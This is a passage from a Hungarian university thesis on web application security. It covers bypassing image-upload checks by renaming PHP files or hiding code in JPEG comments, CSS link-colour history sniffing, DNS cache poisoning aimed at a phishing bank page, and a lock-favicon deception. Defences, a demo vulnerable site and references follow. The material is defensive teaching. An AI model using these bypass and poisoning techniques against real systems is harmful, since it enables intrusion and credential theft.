if (($extension != '.jpg' && $extension != '.png') ||
$type != 'image/jpeg' && $type != 'image/png'))
throw new Exception('A feltoltott fajl nem kep');

Ezzel kiküszöböltük azt, hogy a támadó ezektől eltérő kiterjesztéssel rendelkező


fájlt töltsön fel. Azonban a fájl típusát ebben az esetben nem a PHP határozza meg, hanem a
böngésző szolgáltatja, így nem bízhatunk abban, hogy tényleg egy kép került fel a
szerverre.

49
Bizonyos beállítások esetében a web-kiszolgáló nem csak a „.php” kiterjesztésű
fájlokat adja át a PHP értelmezőnek, hanem az összeset. Ez azt jelenti, hogy abban az
esetben, ha a támadó átnevezi az exploit.php-t exploit.jpg-re, akkor továbbra is
képes lesz azt feltölteni, valamint lefuttatni az abban lévő parancsokat.

Javítsunk ismét a feltöltést kezelő forráskódon, vizsgáljuk meg szerver-oldalon a fájl


úgynevezett MIME típusát:

$mime = mime_content_type($_FILES['kep']
['tmp_name']);
if ($mime != 'image/jpeg' && $mime != 'image/png')
throw new Exception('A feltoltott fajl nem kep');

A mime_content_type() [90] függvény visszaadja a fájl valódi típusát, amivel


kiszűrhető a *.jpg-re átnevezett *.php fájl. Ennek ellenére egy felkészültebb támadó
még mindig át tudja juttatni a parancsokat az ellenőrzésünkön, méghozzá úgy, hogy a fájl
végéhez egyszerűen hozzáfűzi. Ezt megteheti egy megfelelő szerkesztő programmal, vagy a
Linuxon használt >> szimbólum segítségével.

Néhány képformátum (pl.: JPEG [91]) támogatja a megjegyzések használatát a


képekben. Néha a támadó ezekbe írja be az ártó szándékú kódot, mely így a kép szerves
részévé válik, valamint megmarad a képen végrehajtott különböző transzformációk során is.

50
Minden támadásra nehéz felkészülni, van azonban néhány módszer, mellyel
jelentősen megnehezíthetjük a támadó dolgát. Ezek közül a legfontosabb, hogy a web-
szervert állítsuk be úgy, hogy csak a *.php végű fájlokat adja át a PHP értelmezőnek.
Érdemes figyelni arra is, hogy soha ne azon a néven tároljuk el a képet, amit a felhasználó
adott neki. Ez az eltérő karakterkódolások és a felülírás potenciális lehetősége miatt
egyébként is ajánlott. Ezen kívül, ha képet kértünk be a felhasználótól, akkor a PHP GD
komponensének [92] az imagecreate() [93] metódusának a segítségével készítsünk
egy új képet, majd az imagecopy() [94] függvénnyel másoljuk át a régi megfelelő
részeit. Ezzel lehetőségünk van a védekezés mellett kontrollálni a kép méretét és felbontását
is.

A rendszer tervezésekor azt is vegyük figyelembe, hogy egy manipulált kép nem
csak szerver-oldalon okozhat problémákat, de kliens-oldali JavaScript-et is tartalmazhat,
amivel a támadónak lehetősége van egy kiszemelt áldozat nevében műveleteket
végrehajtani. Ezért is fontos, hogy a szerver már csak a megtisztított képeket adja ki a
böngészőknek.

3.14. Előzmények stíluslapokból

A böngészők egy nagyon régóta létező szolgáltatása, hogy képesek különböző


színnel jelölni azokat a linkeket, amelyeket a felhasználó korábban már meglátogatott:

51
2. ábra: Különböző színű linkek

Nem is gondolnánk, de ez a több mint egy évtizede elérhető szolgáltatás egy olyan
sebezhetőséget hordoz magában, mely segítségével a támadó feltérképezheti a webes
szokásainkat. Maga a módszer nagyon egyszerűen kivitelezhető. A támadó elnavigálja az
áldozatot egy saját web-oldalra. Ennek a web-oldalnak van egy olyan része, ami nem
látható, mert például egy oldalelem eltakarja. Ebbe a részbe a támadó nagy mennyiségű
linket helyez el, melyek népszerű web-oldalakra hivatkoznak. Ezután már csak annyi a
dolga, hogy JavaScript segítségével megnézze, hogy ezek közül melyek változtak át lila
színűre, így megtudja, hogy az áldozat milyen web-oldalakat látogatott meg korábban.

Ez látszólag nem olyan érzékeny információ, de gondoljunk bele, hogy ebből


kikövetkeztethető az érdeklődési körünk, nyaralásaink helyszíne, bankunk, stb., mely
információkat a későbbiekben fel tudnak használni, például célzott hirdetések során.

Szerencsére néhány böngészőgyártó már felismerte a helyzet súlyosságát, és a


következő verzióktól kezdve a JavaScript mindig azonos színt fog visszakapni, függetlenül
attól, hogy a link milyen színű a böngészőben.

Felhasználóként egyedül a „privát böngészés” móddal és az előzmények rendszeres


törlésével tudunk védekezni az ilyen jellegű visszaélések ellen, ami sok esetben
kényelmetlen, így a valódi megoldás még várat magára.

52
3.15. DNS gyorsítótár mérgezés (DNS cache poisoning)

A következőkben ismertetett támadás célja a legtöbb esetben az, hogy a potenciális


áldozatot adathalász oldalra (phishing site) [95] térítse. Az áldozat természetesen azt fogja
gondolni, hogy az eredeti web-oldalt látja, így gyanútlanul megadja – bejelentkezés céljából
– a jelszavát, melyet a támadó a későbbiekben felhasználhat. Különösen veszélyes a
támadás abban az esetben, ha a potenciális áldozat egy online banki szolgáltatást próbál
igénybe venni, hisz ilyenkor a támadó ellophatja a számláján lévő összeget.

A sebezhetőség a Névszerverek című fejezetben (lásd: 2.3. Névszerverek)


bemutatott DNS szerverek közötti kommunikációs protokoll alapvető hibáján, valamint a
DNS gyorsítótárak létezésén és működésén alapul. Amennyiben a felhasználó meg akar
nézni egy web-oldalt, a korábban ismertetett módon megkérdezi annak a címét a DNS
szervertől. Ez a művelet – a DNS szerverek terheltsége miatt – sok esetben lassú és
gazdaságtalan lehet, ezért úgynevezett lokális DNS gyorsítótárakat használ a legtöbb ISP
(Internet Service Provider) [96] és vállalati hálózat. Ezek úgy működnek, hogy fenntartanak
egy saját adatbázist, mely az általuk ismert domain címeket és a hozzájuk tartozó IP
címeket tartalmazzák. Ha tudnak, akkor ezen adatbázis alapján válaszolnak a kérésekre,
amennyiben viszont nem ismerik az érintett domain címet, akkor megkérdezik azt a felettük
álló master DNS szervertől. A válasz hitelességét azonban – aláírás hiányában – nem tudják
ellenőrizni. Fontos, hogy ilyenkor nem csak visszaküldik a választ, hanem el is tárolják azt,
így a későbbiekben már a master DNS szerver megkérdezése nélkül is tudnak válaszolni.

Tételezzük fel, hogy a támadó célja, hogy a http://www.enbankom.hu web-oldalra


navigáló felhasználók jelszavát ellopja, hogy így pénzt utalhasson a saját számlájára. A
támadás lépései a következők:

− A támadó kérést küld a lokális DNS-nek, melyben az enbankom.hu IP címét


szeretné megtudni

53
− Ha a lokális DNS nem ismeri ezt, akkor kérést intéz a master DNS szerver irányába

− A támadó úgy tesz, mintha ő lenne a master DNS szerver, és hamis válaszokkal
„árasztja el” a lokális DNS-t, ami – mivel nem tudja a válasz hitelességét ellenőrizni
– eltárolja a kapott IP címet

− Amikor a potenciális áldozat megpróbálja meglátogatni az enbankom.hu web-oldalt,


akkor kérést intéz a lokális DNS felé

− Mivel annak a gyorsítótárában szerepel – támadó által megadott – cél IP, ezért a
master DNS megkérdezése nélkül válaszol a felhasználónak

− A felhasználó böngészője a támadó által megadott IP címre navigál, ahol az eredeti


oldallal tökéletesen megegyező másolatot talál, ahol megadja a titkos azonosítóját és
jelszavát

− A támadó a megszerzett azonosítóval és jelszóval belép a valódi enbankom.hu web-


oldalra és ellopja az áldozat pénzét

Fontos megjegyezni, hogy – részben az ilyen jellegű támadások miatt – az összes


online banki szolgáltatás HTTPS protokollt használ, melynek fontos tulajdonsága, hogy
egyértelműen azonosítható a kiszolgáló. Ezt a felhasználók legkönnyebben a böngészőjük
címsorában lévő lakatot ábrázoló szimbólum vagy valamilyen színkód meglétével
ellenőrizhetik. Ez a különböző böngészők esetében eltérőképpen néz ki:

3. ábra: Google Chrome - HTTPS használata

54
4. ábra: Mozilla Firefox – HTTPS használata

5. ábra: Opera – HTTPS használata

Bizonyos esetekben a támadók pont ezt a sokszínűséget használják ki úgy, hogy


elhitetik a felhasználóval, hogy biztonságos kapcsolaton keresztül böngészik. Erre a
legegyszerűbb – és talán a leghatásosabb – technika az, hogy a favicon-t [97] változtatják
meg lakatra. Nem is hinnénk, hogy ez az elsőre átlátszónak tűnő megoldás hány
figyelmetlen felhasználót képes meggyőzni annak ellenére, hogy világosan látszik, nem
https:// kezdetű a web-cím.

6. ábra: Google Chrome – Lakatot ábrázoló favicon

7. ábra: Mozilla Firefox – Lakatot ábrázoló favicon


55
8. ábra: Opera – Lakatot ábrázoló favicon

Szerencsére a biztonsági szakértők felismerték a DNS protokoll gyengeségét, és így


a közelmúltban bevezettek egy biztonsági kiegészítést, melynek neve DNSSEC, mely
esetében az összes válasz digitálisan aláírt.

56
4. Demonstrációs program

A diplomamunka részét képezi egy olyan web-oldal, mely számos kliens-oldali


támadást mutat be a gyakorlatban. Ennek a célja, hogy az elméleti tudást kiegészítve
lehetőséget adjon a fejlesztők számára, hogy az ismertetett támadásokat egy létező,
sebezhető web-alkalmazáson kipróbálhassák.

Maga a web-oldal különálló, és valamely korábban bemutatott sebezhetőséggel


rendelkező funkciókat tartalmaz. Minden ilyen funkció esetében megtalálható a sebezhető
verzió, a biztonságos verzió és a sebezhetőség részletes ismertetése. Természetesen a
honlapot alkotó forráskód teljes egészében letölthető tömörített állomány formájában.

A program kizárólag kliens-oldali biztonsági hibákkal rendelkezik. Ennek az oka,


hogy amennyiben szerver-oldali hibákat is tartalmazna, úgy magának a kiszolgálónak a
biztonságát is kockára tenné, mely veszélyeztetné a web-oldal működését.

4.1. Felhasználói dokumentáció

A forráskód, valamint a futtatásához szükséges programok elérhetőek a mellékelt


CD-n található demo könyvtárban. Ennek tartalma egy XAMPP [98] nevű telepítőállomány,
mely segítségével Microsoft Windows rendszereken kapunk egy web-kiszolgálót PHP
értelmezővel és MySQL adatbázissal kiegészítve.

Miután a web-szerver működésre kész, másoljuk be a CD-n található demo\source


tartalmát a megfelelő könyvtárba. Ezek után a böngésző címsorába gépelt localhost vagy
127.0.0.1 címen elérhetővé válik a web-oldal.

A teljes anyag – a forráskódokkal együtt – elérhető az alábbi címen:

57
http://websecurity.fw.hu/

4.2. Fejlesztői dokumentáció

A demonstrációs web-oldal megalkotásánál az elsődleges célom az volt, hogy olyan


programozási módszereket használjak, melyek különösebb szakképzettség nélkül is
könnyedén érthetőek. Nem törekedtem az egyes funkciók redundancia mentes
implementálására, illetve nem használtam sablon motort (template engine) sem, hisz ezek
ismerete nem szükséges a programozási hibák megértéséhez.

Maga az alkalmazás szerver-oldali része PHP, a kliens-oldali JavaScript nyelven


íródott. Ezen kívül különböző leíró nyelveket is felhasználtam, úgymint HTML és CSS. A
források megtalálhatóak a CD melléklet demo\source könyvtárban, illetve letölthetőek az
alábbi címről:

http://websecurity.fw.hu/sources.zip

58
5. Összegzés

A diplomamunkámban ismertetett támadásokat szinte kivétel nélkül alkalmazták


már a valódi webes szolgáltatások manipulálására, adatok ellopására. Célom az volt, hogy
bemutassam ezen sebezhetőségek sokszínűségét, valamint azt, hogy bizonyos apró
figyelmetlenségek milyen súlyos biztonsági következményeket eredményezhetnek.

Bizonyos vélemények szerint az ilyen jellegű írásokat nem lenne szabad publikálni,
hisz ezek segíthetik az esetleges támadókat. Ez azonban felvet egy kérdést, melyet érdemes
magunknak feltennünk. Mi segíti inkább a web-alkalmazások fejlődését és biztonságát? Az,
ha megpróbáljuk elhallgatni a támadási módszereket, vagy az, ha ilyen és ehhez hasonló
írásokhoz jutnak a fejlesztők, melyek elolvasása és megértése után képesek lesznek jobb és
biztonságosabb megoldásokat alkalmazni?

Személyes véleményem, hogy a biztonsági hibák keresése különböző rendszerekben


nem elítélendő tevékenység, sokkal inkább bátorítandó. Ne feledkezzünk meg arról sem,
hogy amennyiben felfedezünk egy hiányosságot, azt a lehető leghamarabb jelezzük a
készítőjének, megelőzendő, hogy valaki azt kihasználva visszaéléseket kövessen el.

Mindig tartsuk szem előtt, hogy elsősorban a fejlesztő felelőssége, ha a felhasználó


személyes információi illetéktelenül harmadik félhez jutnak. Az örök szabály, hogy soha ne
bízzunk meg a felhasználótól érkező adatokban, minden esetben szigorúan validáljuk
azokat. Ezen kívül kiemelten fontos, hogy azon adatoknál, melyek a HTML forrásban
megjelennek, minden esetben gondoskodjunk arról, hogy a megfelelő vezérlőkarakterek
eltávolításra kerüljenek.

59
Mit tehetünk felhasználóként, hogy megelőzzük ezeket a támadásokat? A
legfontosabb, hogy legyünk körültekintőek. Soha ne dőljünk be egy olyan e-mailnek, mely
számunka ismeretlen feladótól érkezett. Ne nyissunk meg ismeretlen forrásból származó
hivatkozásokat. Legyünk szkeptikusak. Amennyiben olyan web-oldalakat látogatunk,
melyek biztonsága fokozottan fontos a számunka (pl.: online banki szolgáltatás), akkor
minden esetben ellenőrizzük a bank domain nevét, illetve azt, hogy biztonságos – HTTPS –
kapcsolaton keresztül érjük-e el azt. Amennyiben valamilyen eltérést tapasztalunk a
megszokottól, ne adjuk meg a jelszavunkat, hanem vegyük fel a kapcsolatot a rendszert
üzemeltető adminisztrátorral.

Annak ellenére, hogy a témában számos magyar és idegen nyelvű publikáció érhető
el, kevés olyan van, mely megfelelően bemutatja a web-alkalmazásokat érintő
sebezhetőségeket, és az azokhoz tartozó javításokat. A legtöbb ilyen portál nem foglalkozik
a háttérben történő folyamatokkal, illetve a javítással, csupán a sebezhetőség tényét közli,
melynek megértése túlmutat egy átlagos fejlesztő ismeretein.

Összegzésképpen úgy gondolom, hogy a felhasználókat is érintő fontos


problémakört sikerült bemutatnom, de természetesen a teljes témakör lefedése nem lehetett
a cél. A diplomamunka megírása során végzett kutatásaim és megoldásaim nagymértékben
bővítették a szakmai ismereteimet.

60
6. Hivatkozások

[1] http://www.internetworldstats.com/emarketing.htm, (2010. 05. 03.)

[2] http://en.wikipedia.org/wiki/Cloud_computing, (2010. 04. 18.)

[3] http://en.wikipedia.org/wiki/Social_network, (2010. 04. 18.)

[4] http://en.wikipedia.org/wiki/Web_application, (2010. 04. 15.)

[5] http://en.wikipedia.org/wiki/OSI_model, (2010. 04. 13.)

[6] http://en.wikipedia.org/wiki/Application_Layer, (2010. 04. 13.)

[7] http://en.wikipedia.org/wiki/Client%E2%80%93server_model, (2010. 05. 28.)

[8] http://www.adobe.com/products/flashplayer/, (2010. 04. 26.)

[9] http://www.microsoft.com/silverlight/, (2010. 04. 26.)

[10] http://en.wikipedia.org/wiki/Fat_client, (2010. 04. 26.)

[11] http://en.wikipedia.org/wiki/Hardware_acceleration, (2010. 04. 26.)

[12] http://code.google.com/apis/o3d/, (2010. 04. 26.)

[13] http://en.wikipedia.org/wiki/Web_server, (2010. 04. 22.)

[14] http://en.wikipedia.org/wiki/Relational_database, (2010. 05. 24.)

[15] http://en.wikipedia.org/wiki/Web_browser, (2010. 04. 17.)

[16] http://en.wikipedia.org/wiki/Uniform_Resource_Locator, (2010. 04. 20.)

[17] http://en.wikipedia.org/wiki/Domain_name, (2010. 04. 20.)

[18] http://en.wikipedia.org/wiki/Domain_Name_System, (2010. 04. 20.)

[19] http://en.wikipedia.org/wiki/IP_address, (2010. 04. 20.)

61
[20] http://en.wikipedia.org/wiki/HTML, (2010. 05. 17.)

[21] http://en.wikipedia.org/wiki/Cascading_Style_Sheets, (2010. 05. 04.)

[22] http://en.wikipedia.org/wiki/Top-level_domain, (2010. 05. 24.)

[23] http://www.dnssec.net/, (2010. 04. 25.)

[24] http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol, (2010. 05. 26.)

[25] http://en.wikipedia.org/wiki/HTTP_Secure, (2010. 05. 26.)

[26] http://en.wikipedia.org/wiki/Binary_file, (2010. 04. 06.)

[27] http://en.wikipedia.org/wiki/Base64, (2010. 04. 06.)

[28] http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters, (2010. 04. 11.)

[29] http://en.wikipedia.org/wiki/Human-readable_medium, (2010. 04. 11.)

[30] http://en.wikipedia.org/wiki/Transmission_Control_Protocol, (2010. 05. 07.)

[31] http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol, (2010. 05. 13.)

[32] http://en.wikipedia.org/wiki/Newline, (2010. 04. 13.)

[33] http://en.wikipedia.org/wiki/Carriage_return, (2010. 04. 13.)

[34] http://en.wikipedia.org/wiki/List_of_HTTP_status_codes, (2010. 04. 14.)

[35] http://en.wikipedia.org/wiki/HTTP_cookie, (2010. 04. 24.)

[36] http://en.wikipedia.org/wiki/Keepalive, (2010. 04. 02.)

[37] http://en.wikipedia.org/wiki/Instant_messaging, (2010. 04. 14.)

[38] http://en.wikipedia.org/wiki/JavaScript, (2010. 05. 21.)

[39] http://en.wikipedia.org/wiki/Status_bar, (2010. 05. 03.)

[40] http://en.wikipedia.org/wiki/System_call, (2010. 05. 12.)

62
[41] http://en.wikipedia.org/wiki/Document_Object_Model, (2010. 05. 02.)

[42] http://www.google.com/chrome, (2010. 05. 15.)

[43] http://en.wikipedia.org/wiki/Remote_procedure_call, (2010. 05. 07.)

[44] http://en.wikipedia.org/wiki/Exception_handling, (2010. 05. 02.)

[45] http://en.wikipedia.org/wiki/Eavesdropping, (2010. 05. 13.)

[46] http://en.wikipedia.org/wiki/Man-in-the-middle_attack, (2010. 05. 13.)

[47] http://en.wikipedia.org/wiki/Replay_attack, (2010. 05. 13.)

[48] http://en.wikipedia.org/wiki/Transport_Layer_Security, (2010. 05. 13.)

[49] http://www.rsa.com/, (2010. 04. 09.)

[50] http://en.wikipedia.org/wiki/Public_key_infrastructure, (2010. 04. 13.)

[51] http://en.wikipedia.org/wiki/X.509, (2010. 04. 13.)

[52] http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange, (2010. 05.


12.)

[53] http://en.wikipedia.org/wiki/Certificate_authority, (2010. 04. 13.)

[54] http://en.wikipedia.org/wiki/Revocation_list, (2010. 04. 14.)

[55] http://php.net/, (2010. 04. 20.)

[56] http://en.wikipedia.org/wiki/Cross-site_scripting, (2010. 05. 01.)

[57] http://en.wikipedia.org/wiki/Validation, (2010. 04. 12.)

[58] http://en.wikipedia.org/wiki/User_experience, (2010. 05. 22.)

[59] http://php.net/manual/en/function.htmlentities.php, (2010. 05. 05.)

[60] http://en.wikipedia.org/wiki/BBCode, (2010. 05. 08.)

63
[61] http://en.wikipedia.org/wiki/Backdoor_(computing), (2010. 05. 01.)

[62] http://en.wikipedia.org/wiki/Session_ID, (2010. 05. 22.)

[63] http://en.wikipedia.org/wiki/Exploit_(computer_security), (2010. 05. 01.)

[64] http://www.metasploit.com/, (2010. 04. 22.)

[65] http://www.utf8.com/, (2010. 04. 18.)

[66] http://www.w3schools.com/js/js_obj_string.asp, (2010. 05. 12.)

[67] http://www.w3schools.com/jsref/jsref_fromCharCode.asp, (2010. 05. 12.)

[68] http://www.w3schools.com/jsref/jsref_eval.asp, (2010. 04. 27.)

[69] http://en.wikipedia.org/wiki/Template_engine_(web), (2010. 05. 14.)

[70] http://msdn.microsoft.com/en-us/library/ms537634(VS.85).aspx, (2010. 04. 27.)

[71] http://en.wikipedia.org/wiki/Ajax_(programming), (2010. 05. 31.)

[72] http://jquery.com/, (2010. 05. 14.)

[73] http://www.json.org/, (2010. 04. 20.)

[74] http://en.wikipedia.org/wiki/HTTP_referrer, (2010. 05. 01.)

[75] http://en.wikipedia.org/wiki/SQL_injection, (2010. 04. 14.)

[76] http://en.wikipedia.org/wiki/SQL, (2010. 04. 14.)

[77] http://www.mysql.com/, (2010. 05. 08.)

[78] http://dev.mysql.com/doc/refman/5.0/en/operator-precedence.html, (2010. 05. 08.)

[79] http://en.wikipedia.org/wiki/Brute_force_attack, (2010. 05. 07.)

[80] http://en.wikipedia.org/wiki/Binary_search_algorithm, (2010. 05. 07.)

64
[81] http://dev.mysql.com/doc/refman/5.1/en/string-functions.html#function_length, (2010.
05. 08.)

[82] http://dev.mysql.com/doc/refman/5.1/en/string-functions.html#function_mid, (2010.


05. 08.)

[83] http://php.net/manual/en/function.mysql-real-escape-string.php, (2010. 05. 08.)

[84] http://curl.haxx.se/, (2010. 05. 10.)

[85] http://en.wikipedia.org/wiki/Chroot, (2010. 05. 10.)

[86] http://en.wikipedia.org/wiki/Null_character, (2010. 04. 27.)

[87] http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include,
(2010. 05. 07.)

[88] http://php.net/manual/en/function.include.php (2010. 05. 07.)

[89] http://php.net/manual/en/function.exec.php, (2010. 04. 30.)

[90] http://php.net/manual/en/function.mime-content-type.php, (2010. 04. 25.)

[91] http://www.jpeg.org/, (2010. 04. 01.)

[92] http://php.net/manual/en/book.image.php, (2010. 04. 13.)

[93] http://php.net/manual/en/function.imagecreate.php, (2010. 04. 13.)

[94] http://php.net/manual/en/function.imagecopy.php, (2010. 04. 13.)

[95] http://en.wikipedia.org/wiki/Phishing, (2010. 04. 30.)

[96] http://en.wikipedia.org/wiki/Internet_service_provider, (2010. 04. 10.)

[97] http://en.wikipedia.org/wiki/Favicon, (2010. 04. 22.)

[98] http://www.apachefriends.org/en/xampp-windows.html, (2010. 05. 05.)

65